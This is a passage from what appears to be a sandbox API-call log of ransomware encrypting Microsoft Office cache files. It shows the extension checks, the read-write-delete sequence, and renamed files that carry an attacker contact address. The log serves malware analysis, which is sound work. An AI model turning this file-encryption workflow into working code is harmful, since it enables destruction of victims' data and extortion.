lpString2="f.msi") returned -1 [0209.981] lstrlenW (lpString=".ppt") returned 4 [0209.981] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.981] lstrlenW (lpString=".zip") returned 4 [0209.981] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.981] lstrlenW (lpString=".rar") returned 4 [0209.981] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.981] lstrlenW (lpString=".bz2") returned 4 [0209.981] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.981] lstrlenW (lpString=".7z") returned 3 [0209.981] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString=".dbf") returned 4 [0209.982] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString=".1cd") returned 4 [0209.982] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString=".jpg") returned 4 [0209.982] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString=".doc") returned 4 [0209.982] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0209.982] lstrlenW (lpString=".docx") returned 5 [0209.982] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0209.982] lstrlenW (lpString=".pdf") returned 4 [0209.982] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0209.982] lstrlenW (lpString=".xls") returned 4 [0209.982] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0209.982] lstrlenW (lpString=".xlsx") returned 5 [0209.982] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0209.982] lstrlenW (lpString=".ppt") returned 4 [0209.982] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0209.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString=".zip") returned 4 [0209.982] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0209.982] lstrlenW (lpString=".rar") returned 4 [0209.982] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0209.982] lstrlenW (lpString=".bz2") returned 4 [0209.982] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0209.982] lstrlenW (lpString=".7z") returned 3 [0209.982] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0209.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.982] lstrlenW (lpString=".dbf") returned 4 [0209.983] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0209.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.983] lstrlenW (lpString=".1cd") returned 4 [0209.983] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0209.983] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0209.983] lstrlenW (lpString=".jpg") returned 4 [0209.983] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0209.983] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0209.983] lstrlenW (lpString="Proofing.msi") returned 12 [0209.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0209.983] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=868864) returned 1 [0209.983] CloseHandle (hObject=0x204) returned 1 [0209.983] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0209.984] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.984] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0209.984] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.984] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.984] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0209.984] GetLastError () returned 0x0 [0209.984] ReadFile (in: hFile=0x204, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0210.244] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0210.258] ReadFile (in: hFile=0x204, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.258] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0210.258] SetEndOfFile (hFile=0x1dc) returned 1 [0210.258] CloseHandle (hObject=0x1dc) returned 1 [0210.264] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.264] SetEndOfFile (hFile=0x204) returned 1 [0210.270] CloseHandle (hObject=0x204) returned 1 [0210.270] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0210.270] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0210.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.270] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.270] lstrlenW (lpString=".doc") returned 4 [0210.271] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0210.271] lstrlenW (lpString=".docx") returned 5 [0210.271] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0210.271] lstrlenW (lpString=".pdf") returned 4 [0210.271] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString=".xls") returned 4 [0210.271] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString=".xlsx") returned 5 [0210.271] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0210.271] lstrlenW (lpString=".ppt") returned 4 [0210.271] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString=".zip") returned 4 [0210.271] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString=".rar") returned 4 [0210.271] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString=".bz2") returned 4 [0210.271] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0210.271] lstrlenW (lpString=".7z") returned 3 [0210.271] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString=".dbf") returned 4 [0210.271] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString=".1cd") returned 4 [0210.271] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString=".jpg") returned 4 [0210.271] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString=".doc") returned 4 [0210.271] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0210.271] lstrlenW (lpString=".docx") returned 5 [0210.271] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0210.271] lstrlenW (lpString=".pdf") returned 4 [0210.271] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString=".xls") returned 4 [0210.271] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString=".xlsx") returned 5 [0210.271] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0210.271] lstrlenW (lpString=".ppt") returned 4 [0210.271] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0210.271] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.271] lstrlenW (lpString=".zip") returned 4 [0210.271] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0210.272] lstrlenW (lpString=".rar") returned 4 [0210.272] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0210.272] lstrlenW (lpString=".bz2") returned 4 [0210.272] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0210.272] lstrlenW (lpString=".7z") returned 3 [0210.272] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0210.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.272] lstrlenW (lpString=".dbf") returned 4 [0210.272] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0210.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.272] lstrlenW (lpString=".1cd") returned 4 [0210.272] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0210.272] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0210.272] lstrlenW (lpString=".jpg") returned 4 [0210.272] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0210.272] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0210.272] lstrlenW (lpString="Office32MUI.msi") returned 15 [0210.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0210.272] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=873984) returned 1 [0210.272] CloseHandle (hObject=0x204) returned 1 [0210.272] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020 [0210.272] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.272] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0210.273] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.273] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.273] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0210.436] GetLastError () returned 0x0 [0210.436] ReadFile (in: hFile=0x204, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xd5600, lpOverlapped=0x0) returned 1 [0210.742] WriteFile (in: hFile=0x200, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xd5610, lpOverlapped=0x0) returned 1 [0210.753] ReadFile (in: hFile=0x204, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.753] WriteFile (in: hFile=0x200, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0210.753] SetEndOfFile (hFile=0x200) returned 1 [0210.753] CloseHandle (hObject=0x200) returned 1 [0210.759] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.759] SetEndOfFile (hFile=0x204) returned 1 [0210.765] CloseHandle (hObject=0x204) returned 1 [0210.765] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0210.765] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1 [0210.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.765] lstrlenW (lpString=".doc") returned 4 [0210.765] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0210.765] lstrlenW (lpString=".docx") returned 5 [0210.765] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0210.765] lstrlenW (lpString=".pdf") returned 4 [0210.765] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0210.765] lstrlenW (lpString=".xls") returned 4 [0210.766] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".xlsx") returned 5 [0210.766] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0210.766] lstrlenW (lpString=".ppt") returned 4 [0210.766] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".zip") returned 4 [0210.766] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".rar") returned 4 [0210.766] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".bz2") returned 4 [0210.766] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString=".7z") returned 3 [0210.766] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".dbf") returned 4 [0210.766] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".1cd") returned 4 [0210.766] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".jpg") returned 4 [0210.766] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".doc") returned 4 [0210.766] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString=".docx") returned 5 [0210.766] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0210.766] lstrlenW (lpString=".pdf") returned 4 [0210.766] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".xls") returned 4 [0210.766] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".xlsx") returned 5 [0210.766] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0210.766] lstrlenW (lpString=".ppt") returned 4 [0210.766] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".zip") returned 4 [0210.766] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".rar") returned 4 [0210.766] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0210.766] lstrlenW (lpString=".bz2") returned 4 [0210.766] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString=".7z") returned 3 [0210.766] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".dbf") returned 4 [0210.766] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0210.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.766] lstrlenW (lpString=".1cd") returned 4 [0210.767] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0210.767] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78 [0210.767] lstrlenW (lpString=".jpg") returned 4 [0210.767] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0210.767] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0210.767] lstrlenW (lpString="InfLR.cab") returned 9 [0210.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0210.767] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=18874884) returned 1 [0210.767] CloseHandle (hObject=0x204) returned 1 [0210.767] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020 [0210.767] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.767] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0210.768] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0210.768] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0210.768] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.768] ReadFile (in: hFile=0x204, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.030] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.031] ReadFile (in: hFile=0x204, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.068] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.068] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.068] ReadFile (in: hFile=0x204, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.124] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.124] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0211.137] SetEndOfFile (hFile=0x204) returned 1 [0211.137] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.137] WriteFile (in: hFile=0x204, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: 